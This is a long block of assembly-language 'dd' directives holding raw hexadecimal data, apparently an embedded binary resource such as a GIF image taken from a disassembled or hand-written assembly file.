dd 0B88946BDh, 44C4874Ah, 8A4EB38Bh, 0B58D47B3h, 4CBB8C49h
dd 8C51C28Ch, 0C48F43B5h, 54C18A55h, 895FBB8Bh, 0B8904AB7h
dd 62BD8F4Ch, 8A68AE8Ah, 0AE8969A5h, 54B18F55h, 9246B88Fh
dd 0BB924CC6h, 56C19250h, 8C71BB91h, 0C89253A2h, 61BC9258h
dd 9452C38Fh, 0C2925AC3h, 49B89557h, 9459C598h, 0B7935FBEh
dd 72B5926Bh, 9755B590h, 0C0965CC6h, 6EC09464h, 9954AD93h
dd 0BC985BC2h, 5FBB9663h, 995EC796h, 0BD9865C3h, 5AC59C57h
dd 9C5ECB9Bh, 0C59B61BFh, 64AC967Bh, 9B67CB9Ah, 0C69870BFh
dd 61C89F5Ah, 9D6AC29Fh, 0B69A7BC2h, 7FCAA15Dh, 9C73B09Ah
dd 0B79D75C1h, 64BEA069h, 0A066C4A1h, 0C49F6CCBh, 71CA9E6Eh
dd 0A561BF9Fh, 0C8A467CEh, 6DCEA369h, 0A375C3A4h, 0C9A470C3h
dd 73CAA669h, 0A181CFA3h, 0CAA37ABDh, 6BC6A770h, 0A673CCA8h
dd 0C0A776CCh, 77C6A679h, 0A67ED3A6h, 0CEAA6DC1h, 74CFA976h
dd 0A97CC9ABh, 0CFA87EC9h, 78D2AE71h, 0AD7ACDAEh, 0C0AB87D2h
dd 7FD2AB81h, 0AE85CDADh, 0D0B17AC8h, 7FCFAD88h, 0B082CAB1h
dd 0D1AF8BD0h, 7AD7B086h, 0B47DCDB5h, 0CDB482D2h, 8BD3B385h
dd 0B28DCEB3h, 0CFB684D4h, 8ED1B886h, 0B789D1B6h, 0CBB498D7h
dd 89D7B591h, 0B697D4BAh, 0CEBA8ED3h, 90CEB895h, 0BE88D4B9h
dd 0D0BC90D0h, 96D6BD8Bh, 0BC93DCBAh, 0D7BA9AD7h, 98DDBD8Fh
dd 0BE92D1BCh, 0D3BD9AD2h, 93D2BCA1h, 0BF9BD4C0h, 0D6C296D4h
dd 9DDCC199h, 0C39BD6C1h, 0D8C29ED2h, 0A4DEC1A1h, 0C59DD3C3h
dd 0D9C2A6D4h, 9CD3C2AAh, 0C5A1E0C5h, 0CFC3AFDBh, 0A5E3C6A6h
dd 0CAAADFC9h, 0DAC8B1DAh, 0ADD4C8B4h, 0CCA8E1C9h, 0E4CEAAE2h
dd 0B1DECEAEh, 0CDB9E4CDh, 0E0CEB6D9h, 0B2E0D0B0h, 0D2BAE2D2h
dd 0DED2BEE4h, 0B7E5D5B4h, 0D6BFE7D7h, 0E2D8BBE8h, 0C3E3D7C3h
dd 0DCC8EDDBh, 0EADFC3E8h, 0CEECE0CCh, 0E2D1EFE2h, 0EFE4C8E8h
dd 0D1F0E4D0h, 0E5D5F1E5h, 0F2E6D2ECh, 0D8EDE7D6h, 0FFFFEFE8h
dd 4F921FFh, 0FF000A01h, 2C00h, 3AC0000h, 800006Ch, 2C1700FEh
dd 1902070h, 17040703h, 9060984Ch, 1085C301h, 20643E0Dh
dd 8145A2B0h, 0D840140Ah, 0C78291B8h, 5A3D208Fh, 0E46170B0h
dd 532810C8h, 41E94CAAh, 271289E5h, 799CCA62h, 154CC742h
dd 0ACE86A32h, 0CA77391h, 0FA823F19h, 7F44A18h, 93482551h
dd 452A452Ah, 50A7950Ah, 22F97CA9h, 0ABD5AA75h, 39BEB267h
dd 0D7ABA6F3h, 0EABD60AFh, 6CB64B19h, 167C3E59h, 0A8540A05h
dd 8FB6DB10h, 0B9A411Eh, 0BBDD92A9h, 5E6F29Ah, 0DF944A05h
dd 70380BFh, 0B0B84536h, 12ACC2E1h, 0B8C59AB3h, 8CC7E3B1h
dd 45C64969h, 0CBAE7299h, 0DE697CB9h, 0B13359CCh, 8B42C3CFh
dd 0F43A4D1Eh, 53A8D3B2h, 0BACD5EABh, 0B0676B35h, 0D9EC9A1h
dd 0DBEDB6BBh, 0A6EB66CEh, 6FB7BB8Dh, 2997AEDFh, 98FC3E1Bh
dd 92C2E371h, 0BCCE5F2Bh, 0D05D72F9h, 3E9F4BA3h, 0EBF5977Dh
dd 0AF5BB3D8h, 0F7961DC5h, 0FE61E0EFh, 0BE4F1ABDh, 0AAF2F9BCh
dd 7552A554h, 0F7FB952Ah, 9FC949F0h, 7CFEBF4Fh, 7BF1F84Ch
dd 7F29EFDAh, 4964F7Eh, 8D25A028h, 81604234h, 0E0982608h
dd 0D8360C21h, 60942520h, 91252102h, 85E16854h, 0C8B24618h
dd 0E2321B86h, 848387A1h, 241FC838h, 5A07F1F2h, 0E2689E26h
dd 0E8B62C1Dh, 0C6301C22h, 658C2328h, 8DE368D4h, 0C5E19638h
dd 0C8F63C8Eh, 94591663h, 408E6341h, 90246916h, 24A92456h
dd 0E9345192h, 325093E4h, 5494E521h, 95A56956h, 0A5A96447h
dd 0E9744B96h, 766097E5h, 6498E5B9h, 99C4096Eh, 6679A668h
dd 89B44895h, 18409A84h, 3811A721h, 9D6740E0h, 0A7A9E678h
dd 0E9F42E9Eh, 4300BA7h, 84A0E82Ah, 881A0C6h, 1506018h
dd 0D07C1F06h, 0A89A3C1h, 3418074h, 4340BA51h, 0A9843112h
dd 645D0D43h, 86A04651h, 214711CAh, 49126A95h, 0C17AA417h
dd 0E4B52A4Ah, 34FE07AAh, 0A930AC5h, 0C2AAD6B4h, 70C93E4Eh
dd 0F942AEC3h, 44AF5410h, 5294B0F9h, 0AC65454Eh, 1B2461B1h
dd 646117C6h, 61B3ACE5h, 59AD2B45h, 0C7920628h, 0A5B2D85Ah
dd 75745C88h, 7AB7D77Bh, 5F57E269h, 2E65F0A2h, 760982B9h
dd 2D8A61D8h, 92BBD906h, 65593BC5h, 19D66198h, 5302F830h
dd 9DA5BEDAh, 0BFD9F6h, 705C1BFFh, 0DA9329C4h, 0A331B76Fh
dd 370CC2F0h, 0CC6C30ACh, 0C4F0E6D4h, 0B0AC4B13h, 7C17056Ah
dd 51CF739Ch, 20C7F1E7h, 769D2C87h, 726770BBh, 0CA5E12Dh
dd 0A5E679DEh, 0F17C1E97h, 7CDF62A5h, 0DFE291FBh, 0ACE738CDh
dd 1E037E5Fh, 3FCFE0A8h, 21E1F837h, 610D1213h, 0A8721986h
dd 288C8774h, 50892222h, 8AE2A897h, 0E33D562Eh, 0A8E632D5h
dd 7B5C8FB5h, 428F4601h, 91A47D6Ah, 8561664Bh, 1DA65014h
dd 5E4D1305h, 56DBF6E9h, 9B7729BAh, 0E6097265h, 0ADE67098h
dd 739AFEB7h, 9CA6ADCFh, 0E7BE0271h, 69FF84E0h, 9830A038h
dd 83A10260h, 0A268807Eh, 4150568Ah, 0DA3E8EA3h, 180B0601h
dd 9701C060h, 4511540Eh, 69AA6E9Bh, 102E9EE7h, 92A3E9EAh
dd 2347EA5Ah, 0AA7AEAA9h, 0C1E086ACh, 1AC3B2ECh, 0A6B4AC6Bh
dd 3D4EAB60h, 0AED3F4FDh, 0D4351837h, 350EC1AFh, 1EC5B12Ch
dd 0CCB2AC8Bh, 0B4ACFB3Eh, 56657FD0h, 9B65681Eh, 66DD216Dh
dd 78B7D75Fh, 268A25E5h, 0AE1282E8h, 0B602E9F7h, 0BEED61AEh
dd 0F3BCAF0Bh, 666F565Ah, 2FABE59Ch, 930FF4BFh, 0F00C05Ah
dd 770F04Ch, 0C5309C23h, 0DC30Eh, 0FFB11807h, 1A630331h
dd 38720E3Bh, 758F1C96h, 0C10644Ch, 864E7699h, 90599532h
dd 9971E465h, 9EE6607Ah, 13C7D599h, 7FD9D1F2h, 9C1FD3F8h
dd 3D1307F1h, 56D019F3h, 0B909A0E8h, 43484270h, 0F116D2DAh
dd 2D3DA6A1h, 1A9A276Ah, 22F6AA89h, 6B50F9ACh, 5AEA38FEh
dd 70484D7h, 6C619620h, 0D902B248h, 0B536A0ACh, 4F89EDC1h
dd 0CC9B9BECh, 0E12FA644h, 0EB7B6F6Dh, 98A4951Bh, 0E042337h
dd 1D83808h, 0A788C6E1h, 609F5C3h, 0C1C6388h, 0C839751Ah
dd 1D516E41h, 30E59CA0h, 21CD00C7h, 0C3A153C0h, 55304214h
dd 4E9C8C3Ah, 0C083A954h, 0AA8244EAh, 558EC1D7h, 0EDD57BB3h
dd 0DD02A770h, 0BC778AD5h, 84AF1DFBh, 5E12BF7h, 514C78EBh
dd 0C594F29Eh, 8F3966BCh, 1E83D12Bh, 9630F259h, 2DEF596Ah
dd 0F716F3DAh, 0EFAE112Ah, 0E37C6F81h, 0CE5F9F2Bh, 0A8C53E87h
dd 0A3EC320Fh, 57DC6545h, 0ABE5F8AFh, 1FBBF47Eh, 0BFA188FEh
dd 34EC19FDh, 10DF3FEh, 864CA80Bh, 0C805325h, 14C64D4Bh
dd 3E060C78h, 89CD1750h, 616D0460h, 87658F0Bh, 0A0B41582h
dd 0AF830CAh
dd 83B07197h, 80FA41Eh, 12426843h, 9DB092h, 5681901Ah
dd 150620B8h, 0FE0C41C8h, 630BA17Ah, 0D5A5B498h, 0C43769D0h
dd 0B0F65A21h, 0B0F03F87h, 222C3E45h, 44646311h, 4791091Bh
dd 90C3A865h, 22C48488h, 4D896925h, 371428CCh, 4823A54Ah
dd 3A596E91h, 808EDD53h, 0DCE2CC5h, 9383726Eh, 0C5F4E317h
dd 8C919230h, 0E181C27Dh, 1E534078h, 8E8D8A08h, 0DD1B9472h
dd 580C4708h, 380B72EEh, 7A840200h, 20388B47h, 0A3EBA18Fh
dd 0AA08FF1Fh, 90720A40h, 21E433ADh, 0DAAAE257h, 0B926922Dh
dd 72EF55ABh, 7A4ABC05h, 6BC778B5h, 0B934534Ah, 0F27E4E3Ch
dd 0D68CA179h, 8797A859h, 2DAF596Bh, 0F72554A9h, 0BACB095Ah
dd 0B47CAB8Ah, 6F2D8C44h, 0EA5C98D9h, 0F3EF9772h, 1980BE25h
dd 0AC057F4Ch, 0A621AA98h, 0CC87F934h, 8006F667h, 342C8D8Eh
dd 699A79A3h, 1D9ACC6Eh, 21368E73h, 7D8FCDC8h, 14E11613h
dd 665905E7h, 0D3A673CEh, 0E774F083h, 0C2466E7Eh, 9E93CD9Eh
dd 27FEC4F7h, 4FA42483h, 42D3F218h, 3FE1A433h, 1C223445h
dd 5A0889Eh, 121DE83Dh, 3519D0AAh, 8C4246B4h, 60E81D68h
dd 0E91E8AC4h, 0A8CD16A2h, 51C49F74h, 6FB47A28h, 0DD420266h
dd 0B9269A4Ah, 7E099755h, 0C09CDBD3h, 1297C628h, 0AA78078Eh
dd 40614D69h, 20880E82h, 6F85398Eh, 392A771Bh, 5214F9C9h
dd 50AA1B9Bh, 4A54722Fh, 0A552D521h, 52EA2A63h, 440A4837h
dd 6BB1AA55h, 1AAEED95h, 0CAD2AC93h, 89E13D77h, 614ABCAEh
dd 0AC4B0EB0h, 0B2AB2D64h, 0B4AD0ACEh, 6D2CA582h, 4E1F1EA5h
dd 6EB8CA89h, 0B574956Fh, 95D32C6Bh, 8626BD57h, 0E5CD7DAFh
dd 0D811712Eh, 0B08FC8CDh, 30C65AFCh, 0C5D89B11h, 0B819731Eh
dd 6FF8D91h, 4F22D928h, 49C262F6h, 8B3102E0h, 8C86CDD9h
dd 26F4DD9Bh, 0DA2B4276h, 65E79ED1h, 0CCED3DA6h, 2EDAA3F4h
dd 0F1CB9097h, 590AA794h, 0D59D0878h, 0C5B74296h, 6B0CFEEDh
dd 4680C368h, 0BDC1B80Dh, 987B4183h, 0F4311AD0h, 11F23AB8h
dd 875A241Bh, 89773AE3h, 92526B64h, 0EFDD3BA6h, 73BAEDBAh
dd 0E176E91Bh, 4B435DE4h, 152908C9h, 6BCAE0AFh, 14D53DDEh
dd 13ED3407h, 0A8FBDA09h, 0A734E2F7h, 0E469DD3Ah, 0FD290BEAh
dd 9ED4E01Eh, 26038822h, 523E5FD0h, 13A6A944h, 59024670h
dd 121B03E0h, 81292991h, 0E0C26007h, 91D23813h, 849DF138h
dd 0A3C1575h, 6192F257h, 0A1866B1Dh, 7164C9C2h, 0EE1EC3B8h
dd 3C43880Ah, 0CF62B7E2h, 0AB9E27C4h, 0D78C558Ah, 7D229B16h
dd 0FB059E30h, 0F84BCC66h, 38C6E669h, 75618D26h, 0A31E302Ch
dd 4E3F1886h, 0C36F8FF2h, 0D005841Bh, 0D86F8C8h, 59561B90h
dd 0C9935725h, 0C7B2764Dh, 2959DCA0h, 55CAA76Fh, 362B5966h
dd 0D72D6598h, 765ECC07h, 2CC308E7h, 198D0320h, 0B33B3868h
dd 0A1ACD36Dh, 0B790D735h, 702DF5BDh, 43BA0DFEh, 0B894203Ch
dd 43689E76h, 96875A21h, 7F46B9E3h, 0A312A24Eh, 1341851Bh
dd 784FBA5Ah, 2A3BA382h, 94874545h, 39DE8D6Fh, 0A6ED2095h
dd 0D2BA4DBDh, 0A66F5279h, 1369B05Dh, 0EF72DA6Ch, 0E7A829FDh
dd 0DAFAD3CBh, 3B9B02B7h, 0D0177EF5h, 7AA88A80h, 14DC7B21h
dd 54DD65ACh, 90B54302h, 840B2AAh, 0D9554556h, 0BDD79AE9h
dd 8556B5FEh, 1BBBEDh, 3BC4D8C5h, 9C3052CAh, 0DB3765BCh
dd 0A506CF93h, 621DA787h, 0DAEF5EB7h, 5DA55D71h, 6EEDBDB6h
dd 7CDC18B7h, 0EDB93195h, 0A7746365h, 0FEEF985Bh, 0FDDFBB8Ch
dd 26A0E263h, 0CDB316DFh, 9B0F4033h, 37E6E867h, 65B7E405h
dd 8E700C97h, 4E07C09h, 0AE75728Fh, 87846543h, 58AD3CE7h
dd 0E66539F8h, 0BC472DF0h, 0A14F10CBh, 898E2FC5h, 0E347F904h
dd 0C778E42Fh, 4666C695h, 50B7D6F0h, 0FF41791Bh, 0B3930780h
dd 7DC6B888h, 0FE2572B9h, 3B987DAAh, 3654957h, 0AE6FCDBFh
dd 5CE79CB6h, 92D253E8h, 688E7CDCh, 0FCD75537h, 0A45B7FE6h
dd 9745E8BBh, 32E95A56h, 0F7A6F4D5h, 46F769CFh, 0D69F51FDh
dd 75675446h, 5A00D5F5h, 36A96A87h, 1086AC10h, 0B16B06ADh
dd 76B47646h, 6096B776h, 0BB6BB128h, 21316BD6h, 61060F77h
dd 78777775h, 0B2C24967h, 56205477h, 7F56477Dh, 115A7817h
dd 56D7846Dh, 89788624h, 0C78C78A7h, 6DE2EA6Dh, 912EE2EDh
dd 77936E37h, 3F358219h, 0AE3F66E9h, 79B79A1h, 6F379D6Fh
dd 0CF1B77A4h, 67A38470h, 1BB7A664h, 141B66F5h, 40CA6F23h
dd 40C7AD4Dh, 47B07AFh, 659F1D47h, 1E36567Bh, 0BB0AD7B9h
dd 0F4E97BD7h, 5AD7C07Bh, 57C25AEh, 0B71A3392h, 71C4FA09h
dd 2066C5B9h, 2247D07h, 7B50567h, 0D87277D5h, 544072A7h
dd 72D07807h, 477DD72Eh, 0B7E25154h, 44C73624h, 0F07E57E4h
dd 0E8FE73A7h, 0F73E04C7h, 68E04851h, 6E7F0887h, 245826D3h
dd 69446138h, 9827227Ah, 0C4665E86h, 267FB7Fh, 5175169Dh
dd 2897537h, 80428929h, 5A75C392h, 0E75C5457h, 80B80C75h
dd 7D6AF29Dh, 0A7657644h, 1253AB3Ah, 14551124h, 256B98h
dd 48D55777h, 1C6C160Eh, 881E2BA8h, 4A6C877h, 2382404Bh
dd 71516CB8h, 78006782h, 6F6D149Fh, 50731630h, 78782C78h
dd 8A3DA82Eh, 583178B7h, 83462C57h, 0AE18E790h, 38386310h
dd 79583A63h, 0A683D583h, 158A83F1h, 58C4C784h, 0B5845640h
dd 98F28481h, 84B8F24Ch, 67A784Ch, 36FE30E4h, 85585485h
dd 5A859702h, 0D1E53298h, 7BC7BB85h, 62333860h, 91FC7128h
dd 9690C42h, 6890E428h, 0B21386A8h, 91491409h, 680914FBh
dd 0D9192166h, 66E71F86h, 0C0872438h, 77D78755h, 44650A87h
dd 7567C7D5h, 0E87E06C0h, 7335167Dh, 0E3517881h, 3124FEF7h
dd 188F5D39h, 88B7E87Fh, 357E888Dh, 22578909h, 26974689h
dd 42273274h, 64668989h, 2489C38h, 9D7FE89Eh, 55F053F6h
dd 8A65F339h, 6102015h, 50060088h, 1031083Ah, 9D2976ABh
dd 500629E2h, 80F00A00h, 52A3810h, 83AD6066h, 1288B92Ah
dd 278188BBh, 12B62B60h, 81F4928Ch, 0C68212C0h, 98258C88h
dd 8CE8CC61h, 0A38D03CEh, 0A56F7854h, 8D96D82Dh, 2B8DB4ACh
dd 0F78F8336h, 8E118D8Dh, 0E4792191h, 70C30B98h, 83D7966Eh
dd 9B6ED1ABh, 0F6FD79C7h, 8F58F079h, 981BD8F5h, 0D8F78F69h
dd 31331684h, 0FC8521C4h, 0E4D859A8h, 9004DA8Fh, 0E61DF901h
dd 69057B91h, 33490790h, 0FB90A909h, 242990D1h, 9B791542h
dd 479129B8h, 82179183h, 71E21066h, 7086F21Fh, 25049208h
dd 9245C392h, 2D87B879h, 287E8787h, 92F5D073h, 4D059733h
dd 0B44D9334h, 24E04F93h, 1C265937h, 538885FEh, 193B9D62h
dd 5DC26F89h, 75942943h, 789B9452h, 2289F94h, 7294C9EAh
dd 48A54734h, 0D95280h, 0F311675Dh, 79F680C9h, 39A47D54h
dd 0B295F95Dh, 396211A8h, 8B612696h, 69021967h, 78BC1329h
dd 96E8BF13h, 1F55D13Ch, 425E4978h, 6CC8CA97h, 781596CDh
dd 25699799h, 8D58D48Dh, 0D716D16Bh, 29803D98h, 78E4B098h
dd 8C986579h, 0E9880AE1h, 58057F57h, 0BF0BE6E6h, 0A1A18E84h
dd 58779A58h, 496EF993h, 0B8459966h, 7A599999h, 3C99D8F2h
dd 0C8F9642Ah, 9A38FB30h, 0A60C29A4h, 14134109h, 0AF0B590h
dd 0AFA4A32Bh, 0F9AD9AC0h, 9B10A49Ah, 0B09865Eh, 733D9B49h
dd 91509433h, 0B89B91F8h, 89BB4FB9h, 5BA42E91h, 0C1A6221Eh
dd 491F91E9h, 8768749Ch, 75238728h, 9CA7D40h, 92B7DC07h
dd 2E9CE237h, 52478819h
dd 88F88688h, 5B51B251h, 0E88893A2h, 9DCA809Dh, 0FE26F26Ch
dd 5E37F93Eh, 67F99E34h, 7FC9459Eh, 0E994874Eh, 0D9EB9EB9h
dd 6A39EE94h, 0D39C5F5h, 19559F80h, 6AA9589Fh, 0FA3A5761h
dd 0E00595D9h, 9FF9FD95h, 6A2A76B5h, 812D3B17h, 1306BC96h
dd 0B560DA07h, 4A0A6C02h, 8C46C56Ch, 5D8C63C6h, 2A118C82h
dd 8CD566A1h, 0D16D0A15h, 662197B3h, 0A1C7862Dh, 208D997Fh
dd 0E183983Ah, 19062F8Dh, 0E3989A26h, 0C3A2A8h, 0A2DA2C0Ch
dd 3B8EBA2Eh, 658BA336h, 0A387A0A3h, 3D847ADCh, 30D31B2Ah
dd 84884C0Dh, 0C59A084Eh, 0EA4240A1h, 0A46A457Ah, 0DD5A29A8h
dd 2A4A9AA1h, 905A4E1Eh, 52A51A50h, 77149B2Ah, 1FE422A5h
dd 0B5A5CA5Ch, 0D4FA2155h, 7CF86E7Ch, 22082224h, 907F8727h
dd 43FA6AA6h, 24070236h, 0D87C9CA2h, 0A73A7267h, 49732A74h
dd 9A783634h, 51A7F036h, 7D36F7E9h, 1A8173BAh, 253A82B2h
dd 0E193E744h, 0B94352C9h, 3603603h, 0A8FEA9E5h, 49947A8Bh
dd 0AB329EA9h, 8A4A9294h, 7392A94h, 0A75D1080h, 9F211539h
dd 0B075E9F7h, 9A9F1158h, 0AA3AA1A9h, 0A67678B4h, 0B8BAAA8Ah
dd 3B7AAC8Bh, 6EAB02B6h, 0E779AB29h, 0AB69712Bh, 0C9618AB7h
dd 0D977A118h, 2D3ABEABh, 0C18D3073h, 0A08597DAh, 830AC508h
dd 32981575h, 54B49848h, 0ACD2EF83h, 2B98BA28h, 0CAD5AD4Ah
dd 8EB4C36Eh, 0A4844AD8h, 0FA38ADD7h, 0AE10D0ADh, 391BBB7Eh
dd 0CAE7AE6Ah, 4D7AE97Ah, 0B4706AEBh, 14E0AEF7h, 416A491Eh
dd 0F5AF4AF3h, 1AF65AAAh, 90D66071h, 0FDA5BAFBh, 5AFFAFDAh
dd 91DB025Bh, 71870221h, 0A077B088h, 675923B0h, 0F078235h
dd 59CBB11Bh, 61B1392h, 0D07E192Dh, 94483665h, 739250B1h
dd 1F51D5D2h, 0E04C889Bh, 0B220509Dh, 0E7BBD04Fh, 0B2722557h
dd 69004845h, 2B040943h, 0EB2CBC9Bh, 0A8CA8AB2h, 327FE74Dh
dd 0C800BD1Bh, 95046D46h, 75D0FE0Eh, 0FA00D007h, 775DB3D9h
dd 8B09F89Fh, 0BAA0B43h, 2AA2AA10h, 0AA5AA46Bh, 4C967126h
dd 0C12FB4CBh, 77396C48h, 96A0C8C1h, 0F2C2B534h, 0AB96CA25h
dd 0CEABB8CBh, 84A16CF6h, 3D797CA1h, 1F82F625h, 68DA4B0Ah
dd 3E7A2257h, 2618FB6Ch, 0AB6F8E1Ah, 0AD298CA2h, 753F498Fh
dd 8840C13Bh, 0B793FDADh, 7C8F5B7Ah, 0AC1CB7EBh, 31499B1Bh
dd 85AE89A1h, 0B874D9Bh, 32641332h, 154E01DEh, 4329AEF4h
dd 9AE9AD90h, 94B929AFh, 0B90CB95Bh, 989B8AFh, 0C89B7B99h
dd 5B9D42F7h, 0B05B9FA6h, 6670B07h, 99C7BA45h, 0BA967250h
dd 0AD7D9B11h, 8059BAEBh, 5167E206h, 0B45155CFh, 9BB8885Bh
dd 9D65DFBBh, 53C59053h, 0C5C0500h, 0C5EA80BCh, 737E7256h
dd 4FBBB2h, 0C67BCA38h, 0E7BCC465h, 1B3189C9h, 5F2B33BDh
dd 2D9508A4h, 69F2BD70h, 9F395400h, 419F6B3Eh, 1BE1B42Bh
dd 0BE5BE3AAh, 0BE7602FEh, 142A7B48h, 0EA05BEB8h, 96D8BEBEh
dd 0C53C0BF1h, 0B2BD1456h, 0A0FBF504h, 13AB9975h, 0D781ABCAh
dd 0BFFB5FBFh, 26570C00h, 5B669806h, 8DD8DCC0h, 882EDB6Bh
dd 2C0B9879h, 0C0E57E6Eh, 3CAD36E7h, 3C144C08h, 0C17C16C1h
dd 3B0D06F9h, 0C998C1EAh, 0C1CB7DB7h, 1F1B2C1Dh, 3C22B82Ch
dd 0C251CCC2h, 2A4DFC26h, 5C29414Ch, 0B8F1DE7Bh, 92C31A4Fh
dd 3712B93Bh, 0B97B9671h, 16C39337h, 0DB9C7C99h, 0C3F220C3h
dd 73920BA0h, 767407B6h, 92735135h, 1335887Ch, 0D2CA065Bh
dd 7E0C4EC4h, 845CE731h, 544EA816h, 25825AC5h, 3B254CF1h
dd 0CC5AC5A9h, 0C5DC59C5h, 0C1C64A81h, 673A9DDBh, 0B2A45E7Eh
dd 79D03C67h, 0C387C6A2h, 0C6EBCFC6h, 73471C6Fh, 0D0159504h
dd 0BD701C02h, 0F2C76954h, 0EA9775C9h, 0BE4A9F80h, 0B2BE4AA0h
dd 63ABC828h, 609127AAh, 0AD12FBEBh, 0CAAF96BAh, 0FEC96E96h
dd 3C3C8DC8h, 5625D496h, 0AC93563Bh, 0BFB8278Ch, 0D4C9861Ch
dd 8B6382D8h, 0C9E6D96Dh, 0A1D3D78Bh, 4C08CA2Ch, 0CA7C0ACAh
dd 9A4BCC0Dh, 5B72AD11h, 0B75CAF3Fh, 0F958DCB1h, 8F7CB56h
dd 0CBAA3DD5h, 0F5CB6CBAh, 597CBE8h, 0CC2CC1CCh, 0C5B89B88h
dd 0AB8EC2CCh, 860B90CCh, 531F2CCDh, 0AF9713Ah, 0C38CD291h
dd 3B915CD4h, 0A21F213Ch, 0B0208A08h, 0A29C3CDAh, 5CDE22CBh
dd 5BE232BAh, 57CE3B10h, 82CACE53h, 0A76D8206h, 46CEB248h
dd 0C9DE9342h, 68A7E9B1h, 8F24D255h, 0EC59CF68h, 0D93C5D23h
dd 52C64CFBh, 7D00CFF2h, 0D0203B26h, 5C68D03h, 727ED06Dh
dd 0A8FBCF94h, 72C71D0Bh, 7BD7020Ch, 5430086Ah, 179F2806h
dd 0AB439F9Dh, 0C80C7ED1h, 1FD1E54Ch, 3D22B49Dh, 2AA07D2h
dd 1BBEFD26h, 0D2A81C8h, 2612C02Ch, 1ABF8D30h, 7D342CD6h
dd 7AABF56h, 0D6A1AB60h, 0CB65B646h, 0C8FEDAD3h, 4ADB684Ah
dd 8A4B5C07h, 0BA25CA51h, 0CA9C0CC0h, 0AC6363EEh, 7D4B83DCh
dd 0C18C16ADh, 0B8848B7Ch, 3D55D54Ch, 30DCBD1Bh, 5A6FFC21h
dd 8D5CD5BDh, 0D5FCC485h, 2FC2E655h, 0D65A4E8Ch, 0D6741F65h
dd 6B5AB710h, 0DD6DD6CDh, 94D6FA5h, 0CDD73D71h, 0C7D0D757h
dd 0D7922DCDh, 0A8070C45h, 0BBAA7D0Bh, 0A72D7FBAh, 84D83D81h
dd 523F448Dh, 0D8705E24h, 53D9024Eh, 26849350h, 254263CFh
dd 5CCF6519h, 0C0580583h, 0C5CD9323h, 0FCC607F0h, 0B27093BCh
dd 0D04D9DD9h, 0FADA0D9Fh, 0ADA389D7h, 0DA67FFD0h, 2202D8A6h
dd 7DAA00E0h, 0C79A9680h, 0FABE1117h, 0DDB3BE49h, 0A00B47D1h
dd 0ECDB9C84h, 0EDBD3B8Bh, 0C8CD29DBh, 60D2D971h, 0ADC6BF72h
dd 0DC96CEABh, 994A28CFh, 0A2D8B61Ch, 0D72A1C08h, 0C6DD2D3Ah
dd 53E6D3FAh, 0D43DD998h, 0E598AD44h, 0DCACA2C8h, 0DE3CAECAh
dd 8EAD8A32h, 8A3AA3E5h, 3E7CFECBh, 0CBBDEA1Bh, 0FA998DECh
dd 4DF1DEF8h, 7B3DF39Ah, 0F7CC5D5Eh, 7CCBD62Dh, 9B0D655Ah
dd 0CF1FE7C0h, 9E03D6BCh, 8C7C89Bh, 65CD8210h, 2BA1BA0Ah
dd 22FD78C4h, 0D5CE1C47h, 4E1307B7h, 87EC4AE1h, 0E9D82E17h
dd 0C363365Ch, 23D24035h, 2024D240h, 57E6C5AEh, 44F24988h
dd 29C5A886h, 0AEBCE2AEh, 0E2D05EE2h, 90D8FD94h, 0B37B04CDh
dd 0E35D9CD9h, 3827BB2Bh, 0C6CE39Eh, 8A3C6E75h, 26D0EBD5h
dd 0A807E410h, 0DAE75D5Fh, 48116ED8h, 0CAA139AEh, 0DB5960B3h
dd 4F2A6DB6h, 30173B1Eh, 0DBEC88D2h, 56775DBFh, 6E58820Eh
dd 0C94D31BFh, 3561B566h, 0C0772D2Dh, 6D6C9ADCh, 68173D3Ah
dd 0BAC8B66Eh, 0AE4B4E6h, 0DC8E0D42h, 18E3DDDDh, 3F2C10E7h
dd 0C41A3E74h, 7E761A20h, 591993E7h, 0BBF11E7Dh, 1DEBE7F1h
dd 0B828F2E8h, 85DF0851h, 0AE87B86Eh, 0C2AC270Bh, 63E8CE8Bh
dd 3D66AF5Dh, 0E92C3FEh, 0E95E01E0h, 98667E96h, 0EE9AE06Eh
dd 0D767217Ch, 2DE0D723h, 0A7D57D02h, 0E13F379Ch, 78BAC43Fh
dd 0AEAA49C6h, 59EACEAh, 4244223Fh, 9EB3442Fh, 56BB4C5h
dd 0E624F36Fh, 0D23CE287h, 23BEBCEBh, 50EC0F50h, 123BF470h
dd 0EC5B27E2h, 0C9EC8E34h, 0CECBECABh, 7FDBCE74h, 0EFED0D0Ah
dd 2ED39509h, 0BD9E44E4h, 7CD15E45h, 0EEDCEDBCh, 603DB4EDh
dd 3C83E4Dh, 8558E51Ah, 610C8AEEh, 0C1820DC1h, 0AEEFDC42h
dd 2CC49CB5h, 61568E5Eh, 10770731h, 81DCEE6h, 1DE64D72h
dd 8EFB4A9Ah, 0D40A2162h, 0D9A262EBh, 0EF03DDADh, 634DDE0Ah
dd 732F83F0h, 0BF0AD49Eh, 0F0D0C3F0h, 10F0F992h, 4D53F12Fh
dd 0CB9D54F1h, 17AE3AE2h, 0B31ADEEFh, 0F1D8FDF1h, 8BDF51D0h
dd 885D4E2Bh, 0F24DF9DFh, 1F264EAh, 0F0A1AFCEh, 0F2A0A1FBh
dd 99B9CC3Ah, 0CF30F2FEh
dd 0E9EB09E9h, 0ABA8672h, 0FED5C48Eh, 50740747h, 7DAA6BEAh
dd 85F3FF3Eh, 950F246Dh, 0EB323EFDh, 4FC539D3h, 23DF562h
dd 0FE3FE206h, 60EBCFE2h, 0B050F510h, 5023BE2h, 3AFEA05Eh
dd 62695DC7h, 0F5DF5CECh, 0A2DA0F5Eh, 2DA474FDh, 0F66F6580h
dd 0D9F69ED4h, 0B100952Bh, 340A040h, 341E0D05h, 8140C058h
dd 3C150202h, 0C2111884h, 2C148A44h, 0D168C45Eh, 210B46C2h
dd 0F9047E3Ch, 138944B1h, 509E4D25h, 4AE55291h, 0BE5C3295h
dd 0E63311BCh, 6C3E1F8Fh, 44B9B4DEh, 52294EA7h, 0E2A4FCA8h
dd 0A250E813h, 0D1CC345h, 19E905F3h, 0BE994DA6h, 0EA351A81h
dd 0AC79AA1Ch, 559409E6h, 8A455650h, 452150Ah, 0B258EC49h
dd 459D2B63h, 5AAD569Bh, 6ADD6D4Dh, 6E571512h, 0ED75535Ch
dd 979575DAh, 79BCAB15h, 0DBEDFD67h, 0C260D697h, 0CAE170B4h
dd 2F97D895h, 3718C060h, 0D878DC86h, 8993CA64h, 59761E5Dh
dd 9CCE66F3h, 6FE7D97h, 68745A1Dh, 9F4DA567h, 0DA1A5D46h
